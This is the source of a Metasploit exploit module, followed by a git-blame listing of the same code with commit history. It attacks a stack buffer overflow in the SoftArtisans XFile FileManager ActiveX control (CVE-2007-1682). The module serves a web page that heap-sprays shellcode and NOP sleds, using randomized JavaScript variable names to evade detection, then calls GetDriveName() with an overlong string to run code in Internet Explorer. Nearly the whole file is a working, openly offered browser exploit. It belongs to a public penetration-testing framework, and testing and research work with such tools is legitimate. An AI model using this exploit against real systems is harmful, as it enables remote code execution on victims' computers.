modules/exploits/windows/browser/softartisans_getdrivename.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SoftArtisans XFile FileManager ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SoftArtisans XFile FileManager ActiveX control
        (SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the GetDriveName() method
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-1682' ],
          [ 'OSVDB', '47794' ],
          [ 'US-CERT-VU', '914785' ],
          [ 'BID', '30826' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0C0C0C0C } ]
        ],
      'DisclosureDate' => '2008-08-25',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|
  <html>
  <head>
    <script>
    try {
      var #{vname} = new ActiveXObject('SoftArtisans.FileManager.1');
      var #{rand1} = unescape('#{shellcode}');
      var #{randnop} = "#{nops}";
      var #{rand2} = unescape(#{randnop});
      var #{rand3} = 20;
      var #{rand4} = #{rand3} + #{rand1}.length;
      while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
      var #{rand5} = #{rand2}.substring(0,#{rand4});
      var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
      while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
      var #{rand7} = new Array();
      for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
      var #{rand8} = "";
      for (#{var_i} = 0; #{var_i} < 1224; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
      #{vname}.GetDriveName(#{rand8});
      } catch( e ) { window.location = 'about:blank' ; }
    </script>
  </head>
  </html>
        |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`##`
use https for metaploit.com links 2017-07-24 06:26:21 -07:00			`# This module requires Metasploit: https://metasploit.com/download`
Redo the boilerplate / splat 2013-10-15 13:50:46 -05:00			`# Current source: https://github.com/rapid7/metasploit-framework`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`##`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00
use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
add ranking to every exploit module, pfew! 2009-12-06 05:50:37 +00:00			`Rank = NormalRanking`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`include Msf::Exploit::Remote::HttpServer::HTML`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`def initialize(info = {})`
			`super(update_info(info,`
			`'Name' => 'SoftArtisans XFile FileManager ActiveX Control Buffer Overflow',`
			`'Description' => %q{`
stop perpetuating the ambiguity! 2010-05-09 17:45:00 +00:00			`This module exploits a stack buffer overflow in SoftArtisans XFile FileManager ActiveX control`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`(SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the GetDriveName() method`
			`an attacker may be able to execute arbitrary code.`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`},`
			`'License' => MSF_LICENSE,`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`'Author' => [ 'MC' ],`
			`'References' =>`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`[`
			`[ 'CVE', '2007-1682' ],`
Revert "Land #6812 , remove broken OSVDB references" 2016-07-15 12:00:31 -05:00			`[ 'OSVDB', '47794' ],`
Updated osvdb references from Steve Tornio, updated capture/eth_spoof modules 2009-07-27 14:05:23 +00:00			`[ 'US-CERT-VU', '914785' ],`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`[ 'BID', '30826' ],`
			`],`
			`'DefaultOptions' =>`
			`{`
			`'EXITFUNC' => 'process',`
			`},`
			`'Payload' =>`
			`{`
			`'Space' => 1024,`
			`'BadChars' => "\x00",`
			`},`
			`'Platform' => 'win',`
			`'Targets' =>`
			`[`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0C0C0C0C } ]`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`],`
Convert disclosure dates to iso8601 2020-10-02 17:38:06 +01:00			`'DisclosureDate' => '2008-08-25',`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`'DefaultTarget' => 0))`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`def autofilter`
			`false`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`def check_dependencies`
			`use_zlib`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`def on_request_uri(cli, request)`
			`# Re-generate the payload.`
			`return if ((p = regenerate_payload(cli)) == nil)`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`# Encode the shellcode.`
			`shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))`
Retab modules 2013-08-30 16:28:54 -05:00
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`# Create some nops.`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`nops = Rex::Text.to_unescape(make_nops(4))`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`# Set the return.`
			`ret = Rex::Text.uri_encode([target.ret].pack('L'))`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`# Randomize the javascript variable names.`
			`vname = rand_text_alpha(rand(100) + 1)`
			`var_i = rand_text_alpha(rand(30) + 2)`
			`rand1 = rand_text_alpha(rand(100) + 1)`
			`rand2 = rand_text_alpha(rand(100) + 1)`
			`rand3 = rand_text_alpha(rand(100) + 1)`
			`rand4 = rand_text_alpha(rand(100) + 1)`
			`rand5 = rand_text_alpha(rand(100) + 1)`
			`rand6 = rand_text_alpha(rand(100) + 1)`
			`rand7 = rand_text_alpha(rand(100) + 1)`
			`rand8 = rand_text_alpha(rand(100) + 1)`
Avoid calling unescape on nops directly 2017-02-22 14:14:58 -05:00			`randnop = rand_text_alpha(rand(100) + 1)`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`content = %Q\|`
			`<html>`
			`<head>`
			`<script>`
			`try {`
			`var #{vname} = new ActiveXObject('SoftArtisans.FileManager.1');`
			`var #{rand1} = unescape('#{shellcode}');`
Avoid calling unescape on nops directly 2017-02-22 14:14:58 -05:00			`var #{randnop} = "#{nops}";`
			`var #{rand2} = unescape(#{randnop});`
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`var #{rand3} = 20;`
			`var #{rand4} = #{rand3} + #{rand1}.length;`
			`while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};`
			`var #{rand5} = #{rand2}.substring(0,#{rand4});`
			`var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});`
			`while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};`
			`var #{rand7} = new Array();`
			`for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }`
			`var #{rand8} = "";`
			`for (#{var_i} = 0; #{var_i} < 1224; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }`
			`#{vname}.GetDriveName(#{rand8});`
			`} catch( e ) { window.location = 'about:blank' ; }`
			`</script>`
			`</head>`
			`</html>`
			`\|`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`content = Rex::Text.randomize_space(content)`
Retab modules 2013-08-30 16:28:54 -05:00
Remove spurious cli.peerhost in output 2012-04-20 13:31:42 -06:00			`print_status("Sending #{self.name}")`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`# Transmit the response to the client`
			`send_response_html(cli, content)`
Retab modules 2013-08-30 16:28:54 -05:00
added exploit modules lpviewer_url.rb and softartisans_getdrivename.rb 2008-10-14 13:41:52 +00:00			`# Handle the payload`
			`handler(cli)`
			`end`
Updated osvdb references from Steve Tornio, updated capture/eth_spoof modules 2009-07-27 14:05:23 +00:00			`end`